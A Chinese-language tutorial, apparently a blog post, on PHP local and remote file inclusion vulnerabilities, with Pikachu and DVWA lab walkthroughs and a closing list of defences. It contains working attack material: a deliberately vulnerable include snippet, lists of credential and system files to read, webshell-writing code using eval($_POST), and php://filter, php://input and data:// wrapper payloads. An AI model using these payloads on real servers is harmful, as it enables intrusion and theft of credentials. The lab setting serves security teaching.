文件包含漏洞
文件包含漏洞简介
- 程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时候直接调用此文件,而无须再次编写,这种调用文件的过程称为包含。
- 程序员为了使代码更加灵活,经常将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
- 文件包含漏洞分为本地包含(LFI)和远程包含(RFI)。文件包含漏洞在 PHP Web Application中居多,在JSP ASP程序中偏少。
PHP中有四个文件包含的函数
- include():找不到被包含的文件时只会产生警告(E_WARNING),脚本将会继续执行;
- include_once():与include()类似,唯一的区别是如果该文件中的代码已经被包含,则不会再次包含;
- require():找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
- require_once():- 该函数和require()类似,区别在于若该文件中的代码已经被包含,则不会再次包含。
漏洞产生原因
利用一个例子来展示这个漏洞
先创建一个网页代码
include.php
1
2
3
include $_GET['test'];再创建一个php代码
phpinfo.php
1
2
3
phpinfo();利用文件包含就可以执行phpinfo.php的页面
此时我们将
phpinfo
的后缀名改成.jpg
、.txt
、.gif
都会被解析出来所有就可以利用这个漏洞,将恶意代码通过文件包含的方式进行解析利用
本地文件包含漏洞(LFI)
- 能够打开并包含本地文件的漏洞,称为本地文件包含漏洞(LFI)
一些常见的敏感目录信息路径:
Windows系统- 查看系统版本C:\boot.ini
- IIS配置文件C:\windows\system32\inetsrv\MetaBase.xml
- 存储Windows系统初次安装的密码C:\windows\repair\sam
- Mysql配置C:\ProgramFiles\mysql\my.ini
- MySQL root密码C:\ProgramFiles\mysql\data\mysql\user.MYD
- php配置信息C:\windows\php.ini
Linux/Unix系统 - /etc/password //账户信息
- /etc/shadow //账户密码信息
- /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
- /usr/local/app/php5/lib/php.ini //PHP相关配置
- /etc/httpd/conf/httpd.conf //Apache配置文件
- /etc/my.conf //mysql配置文件
实例pikachu
- 在选择框当中有五个选择,通过查看器看到分别对应五个文件
- 通过抓包,对filename进行修改
- 可以看到在include文件夹下,所有需要使用相对地址
- 改成相对地址就可以访问了
- 通过文件包含漏洞就可以获取到系统的敏感信息
实例DVWA
- 当一时没发现系统文件上传漏洞或者文件上传格式有严格限制时,可以上传一张图片马到服务器,再利用文件包含漏洞进行解析。
- 制作图片马
1
2
3
fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]) ?>;'); - 然后在文件上传File Upload处上传图片马
- 通过回显知道了文件路径
- 然后在文件包含当中运行
- 运行成功
- 然后用中国蚁剑连上去
- 连接成功
远程文件包含漏洞(RFI)
- 当
php.ini
中allow_url_fopen
和allow_url_include
为On时,文件包含函数是可以加载远程文件的,这类漏洞被称为远程文件包含漏洞。
实例piakchu
- 制作一句话木马.txt
1
2
3
4
5
6
$myfile = fopen("webshell.php", "w");
$txt = '<?php @eval($_POST["123"]);?>';
fwrite($myfile, $txt);
fclose($myfile); - 通过抓包修改filename地址,远程运行代码
- 成功运行
PHP伪协议
名称 | 描述 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问http(s)网址 |
ftp:// | 访问FTP(s)URLs |
php:// | 访问各个输入/输出流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
glob:// | 查找匹配的文件路径模式 |
- PHP内置了很多URL风格的封装协议,可用于类似
fopen()
、copy()
、file_exists()
和filesize()
的文件系统函数
file://协议
file://C:/Windows/system.ini
php://协议
- php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是
php://filter
和php://input
php://filter用于读取源码。
php://input用于执行php代码。 - php://filter:读取源代码是需要进行base64编码,不然会被直接执行
- 条件:
allow_url_fopen
:off/on、allow_url_include
:off/on php://filter/convert.base64-encode/resource=文件路径
- 再解码就可以看到源码了
- php://input:可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
- 条件:
allow_url_fopen
:off/on、allow_url_include
:on filename
处填php://input
- 直接在请求包最后加入php代码
ZIP://协议
- 可以访问压缩包里面的文件。当它与包含函数结合时,
zip://
流会被当作php文件执行。从而实现任意代码执行。zip://中只能传入绝对路径。
要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://
和bzip2://
- 条件:
allow_url_fopen
:off/onallow_url_include
:off/onzip://[压缩包绝对路径]#[压缩包内文件]
data://协议
- 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
- 条件:
allow_url_fopen
:onallow_url_include
:ondata://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
伪协议利用条件
文件包含漏洞防护
- 使用str_replace等方法过滤掉危险字符
- 配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
- php版本升级,防止%00截断
- 对上传的文件进行重命名,防止被读取
- 对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
- 做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
评论